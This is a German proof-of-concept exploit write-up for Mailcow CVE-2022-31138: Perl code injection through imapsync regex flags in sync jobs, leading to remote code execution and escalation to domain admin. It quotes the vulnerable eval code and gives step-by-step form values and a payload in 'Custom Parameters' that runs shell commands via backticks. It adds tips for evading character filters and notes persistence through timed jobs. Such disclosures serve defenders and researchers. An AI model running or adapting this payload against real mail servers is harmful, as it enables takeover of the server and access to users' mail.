
Proof-of-Concept-Exploit für Mailcow CVE-2022-31138, der RCE über Perl-Code-Injection in den Regex-Feldern von Sync-Jobs ermöglicht, mit Privilege Escalation zum Domain-Admin.
RCE- und Domain-Admin-Rechteausweitung für Mailcow. Der POC für CVE-2022-31245 kann modifiziert werden, um mit dieser Schwachstelle zu funktionieren.
Gemeldet und behoben: 2022-06
Typ: Code Injection (CWE-94), RCE, Domain-Übernahme
Betroffene Versionen: mindestens 2019 - 2022-06a
In allen aktuellen Mailcow-Versionen existiert ein Fehler, bei dem ein normaler Benutzer des Systems die Funktion „Sync Job“ ausnutzen kann, um eine Shell zu erhalten, indem er Perl-Code in ein beliebiges Regex-Feld in imapsync injiziert. Mit diesem Exploit kann ein Angreifer dann problemlos zur Datenbank wechseln und die Rechte auf die Rolle „Domain Admin“ in Mailcow ausweiten.
Dieser Exploit beinhaltet standardmäßig Persistenz, da Sync Jobs auf einem Timer laufen.
Dieser Exploit kompromittiert die gesamte Mailcow-Instanz. Getestet und funktionsfähig auf dem neuesten Release, Stand 2022-06a.
Fast alle Regex-Ausdrücke in imapsync werden mithilfe der Funktion eval ausgewertet. Das ist höchst unsicher, wenn Parameter aus Benutzereingaben stammen. Als Beispiel: So wird --regexmess in imapsync geparst (Zeile 14213):
sub regexmess
{
my ( $string ) = @_ ;
foreach my $regexmess ( @regexmess ) {
$sync->{ debug } and myprint( "eval \$string =~ $regexmess\n" ) ;
my $ret = eval "\$string =~ $regexmess ; 1" ;
In Mailcow wird $regexmess als Benutzereingabe übergeben.
Die folgenden imapsync-Flags (weitere sind möglich) können verwendet werden, um Codeausführung zu erzielen:
--regexmess
--skipmess
--regexflag
--delete2foldersonly
--delete2foldersbutnot
--regextrans2
Mit den folgenden Schritten kann die Schwachstelle reproduziert werden.
Erlangen einer Shell:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --regexmess=PERL_CODE
Dabei ist das Feld „Custom Parameters“ das entscheidende Feld. PERL_CODE kann ein beliebiger Perl-Code sein.Beispiel-Payload für „Custom Parameters“:
--debug --nosslcheck --regexmess=`touch\x{0020}test.txt`
PERL_CODE darf keine Leerzeichen, Anführungszeichen oder Schrägstriche enthalten, verwende \x{0020} anstelle von Leerzeichen. Verwende `, um Shell-Befehle auszuführen.
Rechteausweitung:
Befolge dieselben Schritte wie in CVE-2022-31245.